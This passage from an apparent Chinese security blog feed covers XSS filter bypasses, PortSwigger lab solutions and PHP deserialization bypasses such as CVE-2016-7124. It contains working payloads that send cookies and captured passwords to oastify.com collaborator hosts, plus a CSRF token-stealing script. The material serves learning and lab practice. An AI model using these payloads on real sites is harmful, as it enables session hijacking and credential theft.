class="code"><pre><span class="line">&lt;svg/onload=&quot;window.onerror=eval;throw&#x27;=alert\x281\x29&#x27;;&quot;&gt;</span><br></pre></td></tr></table></figure></div><h3 id="5过滤url地址"><a class="markdownIt-Anchor" href="#5过滤url地址">#</a> 5. 过滤 url 地址</h3><h4 id="使用url编码"><a class="markdownIt-Anchor" href="#使用url编码">#</a> 使用 url 编码</h4><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">&quot;x&quot;</span> <span class="attr">onerror</span>=<span class="string">document.location</span>=`<span class="attr">http:</span>//%<span class="attr">77</span>%<span class="attr">77</span>%<span class="attr">77</span>%<span class="attr">2e</span>%<span class="attr">62</span>%<span class="attr">61</span>%<span class="attr">69</span>%<span class="attr">64</span>%<span class="attr">75</span>%<span class="attr">2e</span>%<span class="attr">63</span>%<span class="attr">6f</span>%<span class="attr">6d</span>/`&gt;</span></span><br></pre></td></tr></table></figure></div><h4 id="使用ip"><a class="markdownIt-Anchor" href="#使用ip">#</a> 使用 IP</h4><p>1. 十进制 IP</p><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">&quot;x&quot;</span> <span class="attr">onerror</span>=<span class="string">document.location</span>=`<span class="attr">http:</span>//<span class="attr">2130706433</span>/`&gt;</span></span><br></pre></td></tr></table></figure></div><p>2. 八进制 IP</p><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">&quot;x&quot;</span> <span class="attr">onerror</span>=<span class="string">document.location</span>=`<span class="attr">http:</span>//<span class="attr">0177.0.0.01</span>/`&gt;</span></span><br></pre></td></tr></table></figure></div><p>3.hex</p><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">&quot;x&quot;</span> <span class="attr">onerror</span>=<span class="string">document.location</span>=`<span class="attr">http:</span>//<span class="attr">0x7f.0x0.0x0.0x1</span>/`&gt;</span></span><br></pre></td></tr></table></figure></div><p>4.html 标签中用 <code>//</code>  可以代替 <code>http://</code></p><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">&quot;x&quot;</span> <span class="attr">onerror</span>=<span class="string">document.location</span>=`//<span class="attr">www.baidu.com</span>`&gt;</span></span><br></pre></td></tr></table></figure></div><p>6. 使用中文逗号代替英文逗号<br>如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号</p><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">&quot;x&quot;</span> <span class="attr">onerror</span>=<span class="string">&quot;document.location=`http://www。baidu。com`&quot;</span>&gt;</span>//会自动跳转到百度</span><br></pre></td></tr></table></figure></div><h2 id="portswigger靶场xss"><a class="markdownIt-Anchor" href="#portswigger靶场xss">#</a> portswigger 靶场 xss</h2><p><a href="https://zhuanlan.zhihu.com/p/693284245"><strong>PortSwigger</strong> 做题记录–Cross-site scripting (XSS，跨站点脚本) - 知乎 (zhihu.com)</a></p><h4 id="exploiting-cross-site-scripting"><a class="markdownIt-Anchor" href="#exploiting-cross-site-scripting">#</a> <a class="link" href="https://link.zhihu.com/?target=https%3A//portswigger.net/web-security/cross-site-scripting/exploiting">Exploiting cross-site scripting <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> <strong>to steal cookies（</strong><a class="link" href="https://link.zhihu.com/?target=https%3A//portswigger.net/web-security/cross-site-scripting/exploiting">利用跨站点脚本 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a><strong>窃取 Cookie）</strong></h4><div class="highlight-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;</span><br><span class="line"><span class="title function_">fetch</span>(<span class="string">&#x27;https://fk3tzxm662voz7xpeuzimwixjopfd81x.oastify.com&#x27;</span>, &#123;</span><br><span class="line"><span class="attr">method</span>: <span class="string">&#x27;POST&#x27;</span>,</span><br><span class="line"><span class="attr">mode</span>: <span class="string">&#x27;no-cors&#x27;</span>,</span><br><span class="line"><span class="attr">body</span>:<span class="variable language_">document</span>.<span class="property">cookie</span></span><br><span class="line">&#125;);</span><br><span class="line">&lt;/script&gt;</span><br></pre></td></tr></table></figure></div><h4 id="exploiting-cross-site-scripting-2"><a class="markdownIt-Anchor" href="#exploiting-cross-site-scripting-2">#</a> <a class="link" href="https://link.zhihu.com/?target=https%3A//portswigger.net/web-security/cross-site-scripting/exploiting">Exploiting cross-site scripting <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> <strong>to capture passwords（</strong><a class="link" href="https://link.zhihu.com/?target=https%3A//portswigger.net/web-security/cross-site-scripting/exploiting">利用跨站点脚本 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a><strong>捕获密码）</strong></h4><div class="highlight-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&lt;input name=username id=username&gt;</span><br><span class="line"><span class="language-xml"><span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">password</span> <span class="attr">name</span>=<span class="string">password</span> <span class="attr">onchange</span>=<span class="string">&quot;if(this.value.length)fetch(&#x27;https://u0v8fc2lmhb3fmd4u9fx2bycz35utshh.oastify.com&#x27;,&#123;</span></span></span></span><br><span class="line"><span class="string"><span class="tag"><span class="language-xml">method:&#x27;POST&#x27;,</span></span></span></span><br><span class="line"><span class="string"><span class="tag"><span class="language-xml">mode: &#x27;no-cors&#x27;,</span></span></span></span><br><span class="line"><span class="string"><span class="tag"><span class="language-xml">body:username.value+&#x27;:&#x27;+this.value</span></span></span></span><br><span class="line"><span class="string"><span class="tag"><span class="language-xml">&#125;);&quot;</span>&gt;</span></span></span><br></pre></td></tr></table></figure></div><h4 id="exploiting-xss"><a class="markdownIt-Anchor" href="#exploiting-xss">#</a> <a class="link" href="https://link.zhihu.com/?target=https%3A//portswigger.net/web-security/cross-site-scripting/exploiting">Exploiting XSS <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> <strong>to perform CSRF（利用 XSS 执行 CSRF）</strong></h4><div class="highlight-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;</span><br><span class="line"><span class="keyword">var</span> req = <span class="keyword">new</span> <span class="title class_">XMLHttpRequest</span>();</span><br><span class="line">req.<span class="property">onload</span> = handleResponse;</span><br><span class="line">req.<span class="title function_">open</span>(<span class="string">&#x27;get&#x27;</span>,<span class="string">&#x27;/my-account&#x27;</span>,<span class="literal">true</span>);</span><br><span class="line">req.<span class="title function_">send</span>();</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">handleResponse</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> token = <span class="variable language_">this</span>.<span class="property">responseText</span>.<span class="title function_">match</span>(<span class="regexp">/name=&quot;csrf&quot; value=&quot;(\w+)&quot;/</span>)[<span class="number">1</span>];</span><br><span class="line">    <span class="keyword">var</span> changeReq = <span class="keyword">new</span> <span class="title class_">XMLHttpRequest</span>();</span><br><span class="line">    changeReq.<span class="title function_">open</span>(<span class="string">&#x27;post&#x27;</span>, <span class="string">&#x27;/my-account/change-email&#x27;</span>, <span class="literal">true</span>);</span><br><span class="line">    changeReq.<span class="title function_">send</span>(<span class="string">&#x27;csrf=&#x27;</span>+token+<span class="string">&#x27;&amp;email=test@test.com&#x27;</span>)</span><br><span class="line">&#125;;</span><br><span class="line">&lt;/script&gt;</span><br></pre></td></tr></table></figure></div><h4 id="reflected-xss"><a class="markdownIt-Anchor" href="#reflected-xss">#</a> <a class="link" href="https://link.zhihu.com/?target=https%3A//portswigger.net/web-security/cross-site-scripting/reflected">Reflected XSS <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> <strong>protected by very strict</strong> <a class="link" href="https://link.zhihu.com/?target=https%3A//portswigger.net/web-security/cross-site-scripting/content-security-policy">CSP <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a><strong>, with</strong> <a class="link" href="https://link.zhihu.com/?target=https%3A//portswigger.net/web-security/cross-site-scripting/dangling-markup">dangling markup <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> <strong>attack（</strong><a class="link" href="https://link.zhihu.com/?target=https%3A//portswigger.net/web-security/cross-site-scripting/reflected">反射 XSS <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> <strong>受非常严格的</strong> <a class="link" href="https://link.zhihu.com/?target=https%3A//portswigger.net/web-security/cross-site-scripting/content-security-policy">CSP <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> <strong>保护，具有</strong><a class="link" href="https://link.zhihu.com/?target=https%3A//portswigger.net/web-security/cross-site-scripting/dangling-markup">悬空标记 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a><strong>攻击）</strong></h4><div class="highlight-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;</span><br><span class="line"><span class="keyword">if</span>(<span class="variable language_">window</span>.<span class="property">name</span>) &#123;</span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">Image</span>().<span class="property">src</span>=<span class="string">&#x27;//211tme9ekmk5ba0lsfkq0ki9a0gr4hs6.oastify.com?&#x27;</span>+<span class="built_in">encodeURIComponent</span>(<span class="variable language_">window</span>.<span class="property">name</span>);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                 location = <span class="string">&#x27;https://0a99009d03319edd82f8e83600d800ba.web-security-academy.net/my-account?email=%22%3E%3Ca%20href=%22https://exploit-0a22003503af9e2c82bde7f201e70018.exploit-server.net/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27&#x27;</span>;</span><br><span class="line">&#125;</span><br><span class="line">&lt;/script&gt;</span><br></pre></td></tr></table></figure></div><h4 id="reflected-xss-protected-by-csp-with-csp-bypass受-csp-保护的反射-xss具有-csp-旁路"><a class="markdownIt-Anchor" href="#reflected-xss-protected-by-csp-with-csp-bypass受-csp-保护的反射-xss具有-csp-旁路">#</a> <strong><a class="link" href="https://link.zhihu.com/?target=https%3A//portswigger.net/web-security/cross-site-scripting/reflected">Reflected XSS <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> <strong>protected by</strong> <a class="link" href="https://link.zhihu.com/?target=https%3A//portswigger.net/web-security/cross-site-scripting/content-security-policy">CSP <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></strong>, with CSP bypass（受 ** <a class="link" href="https://link.zhihu.com/?target=https%3A//portswigger.net/web-security/cross-site-scripting/content-security-policy">CSP <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> <strong>保护的</strong><a class="link" href="https://link.zhihu.com/?target=https%3A//portswigger.net/web-security/cross-site-scripting/reflected">反射 XSS <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a><strong>，具有 CSP 旁路）</strong></h4><div class="highlight-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;<span class="title function_">alert</span>(<span class="number">666</span>)&lt;/script&gt;&amp;token=;script-src-elem <span class="string">&#x27;unsafe-inline&#x27;</span></span><br><span class="line"></span><br><span class="line">%3Cscript%3Ealert%<span class="number">28666</span>%<span class="number">29</span>%3C%2Fscript%3E&amp;token=;script-src-elem%<span class="number">20</span>%27unsafe-inline%<span class="number">27</span></span><br></pre></td></tr></table></figure></div><p>注入使用 CSP 中的  <code>script-src-elem</code>  指令。此指令允许您仅以  <code>script</code>  元素为目标。使用此指令，您可以覆盖现有的  <code>script-src</code>  规则，从而使您能够注入  <code>unsafe-inline</code> ，从而允许您使用内联脚本。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;xss&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#xss&quot;&gt;#&lt;/a&gt; XSS&lt;/h1&gt;
&lt;h2 id=&quot;跨站脚本攻击&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#跨站脚本攻击&quot;&gt;#&lt;/a&gt; 跨站脚本攻</summary>
      
    
    
    
    <category term="Web Vulnerabilities" scheme="http://example.com/categories/Web-Vulnerabilities/"/>
    
    
  </entry>
  
  <entry>
    <title>PHP Unserialize</title>
    <link href="http://example.com/2024/04/09/PHP-Unserialize/"/>
    <id>http://example.com/2024/04/09/PHP-Unserialize/</id>
    <published>2024-04-09T13:51:55.000Z</published>
    <updated>2024-08-28T06:46:41.879Z</updated>
    
    <content type="html"><![CDATA[<h1 id="php-unserialize"><a class="markdownIt-Anchor" href="#php-unserialize">#</a> PHP Unserialize</h1><h2 id="什么是序列化和反序列化"><a class="markdownIt-Anchor" href="#什么是序列化和反序列化">#</a> 什么是序列化和反序列化</h2><p><strong>serialize</strong> 将对象格式化成有序的字符串</p><p><strong>unserialize</strong> 将字符串还原成原来的对象</p><h3 id="serialize的特征"><a class="markdownIt-Anchor" href="#serialize的特征">#</a> serialize 的特征</h3><p>常见的序列化格式有</p><blockquote><p>二进制格式</p><p>字节数组</p><p>json 字符串</p><p>xml 字符串</p></blockquote><p>常见的数组样例</p><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$user</span>=<span class="keyword">array</span>(<span class="string">&#x27;xiao&#x27;</span>,<span class="string">&#x27;shi&#x27;</span>,<span class="string">&#x27;zi&#x27;</span>);</span><br><span class="line"><span class="variable">$user</span>=<span class="title function_ invoke__">serialize</span>(<span class="variable">$user</span>);</span><br><span class="line"><span class="keyword">echo</span>(<span class="variable">$user</span>.PHP_EOL);</span><br><span class="line"><span class="title function_ invoke__">print_r</span>(<span class="title function_ invoke__">unserialize</span>(<span class="variable">$user</span>));</span><br></pre></td></tr></table></figure></div><p>输出  <code>a:3:&#123;i:0;s:4:&quot;xiao&quot;;i:1;s:3:&quot;shi&quot;;i:2;s:2:&quot;zi&quot;;&#125;</code></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">a:3:&#123;i:0;s:4:&quot;xiao&quot;;i:1;s:3:&quot;shi&quot;;i:2;s:2:&quot;zi&quot;;&#125;</span><br><span class="line">a:array代表是数组，后面的3说明有三个属性</span><br><span class="line">i:代表是整型数据int，后面的0是数组下标</span><br><span class="line">s:代表是字符串，后面的4是因为xiao长度为4</span><br></pre></td></tr></table></figure></div><p>数据类型对应提示符</p><p><code>字符串：s</code></p><p><code>已转义字符串：S</code></p><p><code>整数：i</code></p><p><code>布尔值： b</code></p><p><code>空值：N</code></p><p><code>数组：a</code></p><p><code>对象：O</code></p><p><code>引用： R</code></p><p>关于非公有字段名称:</p><ul><li><code>private</code>  使用：私有的类的名称 (考虑到继承的情况) 和字段名组合  <code>\x00类名称\x00字段名</code></li><li><code>protected</code>  使用:  <code>*</code>  和字段名组合  <code>\x00*\x00字段名</code></li></ul><h3 id="魔术方法"><a class="markdownIt-Anchor" href="#魔术方法">#</a> 魔术方法</h3><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">__wakeup() //执行unserialize()时，先会调用这个函数</span><br><span class="line">__sleep() //执行serialize()时，先会调用这个函数</span><br><span class="line">__construct() //构造函数, 在对应对象实例化时自动被调用. #子类中的构    造函数不会隐式调用父类的构造函数.在 PHP 8 以前, 与类名同名      的方法可以作为 __constuct 调用但 __construct 方法优先</span><br><span class="line">__destruct() //对象被销毁时触发</span><br><span class="line">__call() //在对象上下文中调用不可访问的方法时触发</span><br><span class="line">__callStatic() //在静态上下文中调用不可访问的方法时触发</span><br><span class="line">__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法</span><br><span class="line">__set() //用于将数据写入不可访问的属性</span><br><span class="line">__isset() //在不可访问的属性上调用isset()或empty()触发</span><br><span class="line">__unset() //在不可访问的属性上使用unset()时触发</span><br><span class="line">__toString() //把类当作字符串使用时触发</span><br><span class="line">__invoke() //当尝试将对象调用为函数时触发</span><br><span class="line">__debugInfo() //在使用 var_dump, print_r 时会被调用</span><br><span class="line">__set_state()   // 调用var_export()导出类时，此静态方法会被调用</span><br><span class="line">__clone()       // 当对象复制完成时调用</span><br><span class="line">__autoload()    // 尝试加载未定义的类</span><br></pre></td></tr></table></figure></div><h3 id="反序列化绕过"><a class="markdownIt-Anchor" href="#反序列化绕过">#</a> 反序列化绕过</h3><h4 id="php71反序列化对类属性不敏感"><a class="markdownIt-Anchor" href="#php71反序列化对类属性不敏感">#</a> php7.1 + 反序列化对类属性不敏感</h4><p>我们前面说了如果变量前是 protected，序列化结果会在变量名前加上 <code>\x00*\x00</code></p><p>但在特定版本 7.1 以上则对于类属性不敏感，比如下面的例子即使没有 <code>\x00*\x00</code>  也依然会输出 <code>abc</code></p><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">test</span></span>&#123;</span><br><span class="line">    <span class="keyword">protected</span> <span class="variable">$a</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;a = <span class="string">&#x27;abc&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span>  <span class="title">__destruct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="variable language_">$this</span>-&gt;a;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_ invoke__">unserialize</span>(<span class="string">&#x27;O:4:&quot;test&quot;:1:&#123;s:1:&quot;a&quot;;s:3:&quot;abc&quot;;&#125;&#x27;</span>);</span><br></pre></td></tr></table></figure></div><h4 id="绕过__wakeupcve-2016-7124"><a class="markdownIt-Anchor" href="#绕过__wakeupcve-2016-7124">#</a> 绕过__wakeup (CVE-2016-7124)</h4><p>版本：</p><blockquote><p>PHP5 &lt; 5.6.25</p><p>PHP7 &lt; 7.0.10</p></blockquote><p>利用方式：序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup 的执行</p><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">test</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$a</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;a = <span class="string">&#x27;abc&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;a=<span class="string">&#x27;666&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span>  <span class="title">__destruct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="variable language_">$this</span>-&gt;a;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>如果执行 <code>unserialize('O:4:&quot;test&quot;:1:&#123;s:1:&quot;a&quot;;s:3:&quot;abc&quot;;&#125;');</code>  输出结果为 <code>666</code></p><p>而把对象属性个数的值增大执行 <code>unserialize('O:4:&quot;test&quot;:2&#123;s:1:&quot;a&quot;;s:3:&quot;abc&quot;;&#125;');</code>  输出结果为 abc</p><h4 id="绕过部分正则"><a class="markdownIt-Anchor" href="#绕过部分正则">#</a> 绕过部分正则</h4><p><code>preg_match('/^O:\d+/')</code>  匹配序列化字符串是否是对象字符串开头，这在曾经的 CTF 中也出过类似的考点</p><blockquote><p>・利用加号绕过（注意在 url 里传参时 + 要编码为 %2B）<br>・serialize (array (a) ) ; // a));//a));//a 为要反序列化的对象 (序列化结果开 头是 a，不影响作为数组元素的 $a 的析构)</p></blockquote><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">test</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$a</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;a = <span class="string">&#x27;abc&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span>  <span class="title">__destruct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="variable language_">$this</span>-&gt;a.PHP_EOL;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">match</span>(<span class="params"><span class="variable">$data</span></span>)</span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/^O:\d+/&#x27;</span>,<span class="variable">$data</span>))&#123;</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&#x27;you lose!&#x27;</span>);</span><br><span class="line">    &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$data</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$a</span> = <span class="string">&#x27;O:4:&quot;test&quot;:1:&#123;s:1:&quot;a&quot;;s:3:&quot;abc&quot;;&#125;&#x27;</span>;</span><br><span class="line"><span class="comment">// +号绕过</span></span><br><span class="line"><span class="variable">$b</span> = <span class="title function_ invoke__">str_replace</span>(<span class="string">&#x27;O:4&#x27;</span>,<span class="string">&#x27;O:+4&#x27;</span>, <span class="variable">$a</span>);</span><br><span class="line"><span class="title function_ invoke__">unserialize</span>(<span class="keyword">match</span>(<span class="variable">$b</span>));</span><br><span class="line"><span class="comment">// serialize(array($a));</span></span><br><span class="line"><span class="title function_ invoke__">unserialize</span>(<span class="string">&#x27;a:1:&#123;i:0;O:4:&quot;test&quot;:1:&#123;s:1:&quot;a&quot;;s:3:&quot;abc&quot;;&#125;&#125;&#x27;</span>);</span><br></pre></td></tr></table></figure></div><h4 id="十六进制绕过字符匹配"><a class="markdownIt-Anchor" href="#十六进制绕过字符匹配">#</a> 十六进制绕过字符匹配</h4><p>可以使用十六进制搭配上已转义字符串来绕过对某些字符的检测</p><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Read</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$name</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="variable language_">$this</span>-&gt;name == <span class="string">&quot;flag&quot;</span>)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">echo</span> <span class="string">&quot;You did it!&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$str</span> = <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="title function_ invoke__">strpos</span>(<span class="variable">$str</span>, <span class="string">&quot;flag&quot;</span>) === <span class="literal">false</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="variable">$obj</span> = <span class="title function_ invoke__">unserialize</span>(<span class="variable">$str</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;You can&#x27;t do it!&quot;</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>这里检测了是否包含  <code>flag</code>  字符，我们可以尝试使用  <code>flag</code>  的十六进制  <code>\66\6c\61\67</code>  来绕过，构造以下:</p><p><code>'O:4:&quot;Read&quot;:1:&#123;s:4:&quot;name&quot;;S:4:&quot;\66\6c\61\67&quot;;&#125;'</code></p><p>可以用下面 python 脚本将字符串转化为 Hex</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">str</span> = <span class="built_in">input</span>(<span class="string">&#x27;Enter a string: &#x27;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;\\&#x27;</span> + <span class="built_in">str</span>.encode(<span class="string">&#x27;utf-8&#x27;</span>).<span class="built_in">hex</span>(<span class="string">&#x27;\\&#x27;</span>))</span><br></pre></td></tr></table></figure></div><h4 id="利用引用"><a class="markdownIt-Anchor" href="#利用引用">#</a> 利用‘引用’</h4><p>对于需要判断两个变量是否相等时，我们可以考虑使用引用来让两个变量始终相等.</p><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td 